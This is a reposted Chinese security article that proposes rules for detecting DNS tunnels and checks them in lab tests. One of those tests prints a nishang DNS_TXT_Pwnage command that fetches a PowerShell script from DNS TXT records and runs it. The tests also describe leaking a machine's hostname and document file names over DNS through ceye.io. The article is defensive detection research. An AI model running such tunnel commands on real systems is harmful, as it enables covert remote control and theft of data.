一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案
摘自:http://www.freebuf.com/articles/network/149328.html
通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下:
方向1:特征检测:
检测窃密木马(无需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】
检测远控木马(需更新和接收指令): 【域名超长 or 频率高】 and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】
通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):
{【存在txt回包】and 【不存在全域名注册记录】} or {【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】}
方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):
单台机器检测: 域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警
群体事件检测: A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个) + B +… > 多台机器阈值,评测外传数据大小,达到阈值则触发报警
实验验证分析:
为验证此方案的逻辑正确性,笔者实验如下:
Xshell实验验证:
1、直接运行xshell,触发dns行为
2、外传结果抓包:
3、检测逻辑匹配分析:
a) 外传域名超长
b) 频率较高
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)
结论:窃密木马+远控木马
Powershell dns实验验证:
1、利用powershell构造dns隧道
a) 编写一个最简单的一句话脚本,获取服务列表
b) 使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录
c) 在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)
验证结果,ok
d) 使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。
命令和结果如下:
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2、外传结果抓包:
使用Microsoft Network Monitor抓包分析
3、检测逻辑匹配分析:
a) 因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名
b) 因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率
c) 类型为TXT,有回包
d) 无A记录解析结果,也就无程序对结果发起访问
e) 此实验场景未覆盖外传数据,所以不涉及注册问题
结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)
利用ceye.io的外传实验验证
1、 少量信息窃取和大量信息窃取
a) 单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名
b) 多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 (代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改):
2、外传结果展示:
a) 单次少量信息窃取外传
b) 多次大量信息窃取
3、检测逻辑匹配分析:
a) 利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)
b) 对解析A记录结果无后续访问
c) 不存在全域名注册记录
结论:窃取数据木马
一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案的更多相关文章
- 【Zabbix】大规模监控误报发生时的处理方案
今天遇到了这样一件事..Zabbix一直在用的数据库突然间崩溃,无法连接了.在down掉的那一时刻开始,zabbix向管理员报了警.然后随之而来的是铺天盖地的所有主机zabbix agent无法连接的 ...
- 如何为 SAST 工具设置误报基准?
许多 SAST 工具都无法避免误报的问题.这些工具经常报告一些实际不存在的漏洞,这种不准确性让安全团队耗费大量时间来对误报进行分类和处理,这时设置误报基准就显得十分必要. 通过设置误报基准,安全团队可 ...
- zabbix误报交换机重启
交换机的sysUpTime是由一个32-bit的counter来计数的,单位是0.01秒,所以最大时间为496天,过了496天就溢出,变成0,然后又重新计算时间,所以zabbix误报. snmpwal ...
- Nmap误报1720端口开放的原因
在使用Nmap扫描服务器开放端口(全连接扫描)时,一直会发现误报1720端口开放,telnet也有时会连接成功.而实际上服务器并未开启此端口.经过查阅资料,确定原因如下: H.323协议在负载中放入了 ...
- Myeclipse中误报错误解决办法
下午写jsp页面的时候,用了一个js文件,拖到MyEclipse下了报错,开始还以为是js文件问题,折腾了半天,后来才知道原来是Myeclipse误报错误.真坑爹啊呀~~ 解决方法: 点击你需要忽略错 ...
- python里混淆矩阵 左下角为漏报,右上角为误报
1为黑样本,0为白样本: Counter({1: 105, 0: 95}) check counter!confusion_matrix:[[83 12(预测值为1,实际为0,误报)] [15(预测值 ...
- Prometheus 监控 Kubernetes Job 资源误报的坑
转载自:https://www.qikqiak.com/post/prometheus-monitor-k8s-job-trap/ 昨天在 Prometheus 课程辅导群里面有同学提到一个问题,是关 ...
- 冰蝎动态二进制加密WebShell基于流量侧检测方案
概述 冰蝎是一款新型动态二进制加密网站工具.目前已经有6个版本.对于webshell的网络流量侧检测,主要有三个思路.一:webshell上传过程中文件还原进行样本分析,检测静态文件是否报毒.二:we ...
- centos DNS服务搭建 DNS原理 使用bind搭建DNS服务器 配置DNS转发 配置主从 安装dig工具 DHCP dhclient 各种域名解析记录 mydns DNS动态更新 第三十节课
centos DNS服务搭建 DNS原理 使用bind搭建DNS服务器 配置DNS转发 配置主从 安装dig工具 DHCP dhclient 各种域名解析记录 mydns DNS动态更 ...
随机推荐
- ASP.NET-HTTP管道模型
HTTP管道模型处理WEB程序很小的一方面.管道模型是类似于Web Services的一种在服务器端处理ASP.NET页面的框架技术 一.管道对象模型 在System.Web的命名空间中处理HTTP的 ...
- Intellij idea 自动完成的变量名称首字母变为小写
Intellij idea 自动完成的变量名称首字母变为小写 好像没有什么好的自动办法,自己输入一个小写的字母吧,然后Idea会出提示.
- 游标和动态SQL
游标类别:静态游标(指在编译的时候,游标就与一个select语句进行了静态绑定的游标.这样的游标仅仅能作用于一个查询语句)和动态游标(就是希望我们的查询语句在执行的时候才跟游标绑定.为了使用动态游标, ...
- phpstorm 或 webstorm 设置打开多个项目,多个项目并存。
File -> settings -> Directories -> Add Content Root 中添加你当前的工程目录. 这样就可以节省内存了.之前用一个打开php项目,一个 ...
- php中echo什么时候用到\"这个符号
php中echo什么时候用到\"这个符号 当在引号中用到引号时,为避免混乱用\" \称为转义符,表示后面的字符和原来程序语言里的语法符号含义不同 常见的转义有 \" \' ...
- zzulioj--1780--和尚特烦恼6——炒股(贪心)
1780: 和尚特烦恼6--炒股 Time Limit: 1 Sec Memory Limit: 128 MB Submit: 154 Solved: 87 SubmitStatusWeb Boa ...
- MetaSploit攻击实例讲解------攻击445端口漏洞(kali linux 2016.2(rolling))(详细)
不多说,直接上干货! 大家,相信最近的这个事件,对于445端口已经是非常的小心了.勒索病毒 445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了 ...
- 【转载】java编程中'为了性能'一些尽量做到的地方
1.尽量在合适的场合使用单例 使用单例可以减轻加载的负担,缩短加载的时间,提高加载的效率,但并不是所有地方都适用于单例,简单来说,单例主要适用于以下三个方面 第一,控制资源的使用,通过线程同步来控制资 ...
- HDU 3342 Legal or Not【拓扑排序】
题意:给出n,m,人的编号为 0到n-1,再给出m个关系,问能不能够进行拓扑排序 #include<iostream> #include<cstdio> #include< ...
- Converting Legacy Chrome IPC To Mojo
Converting Legacy Chrome IPC To Mojo Looking for Mojo Documentation? Contents Overview Deciding What ...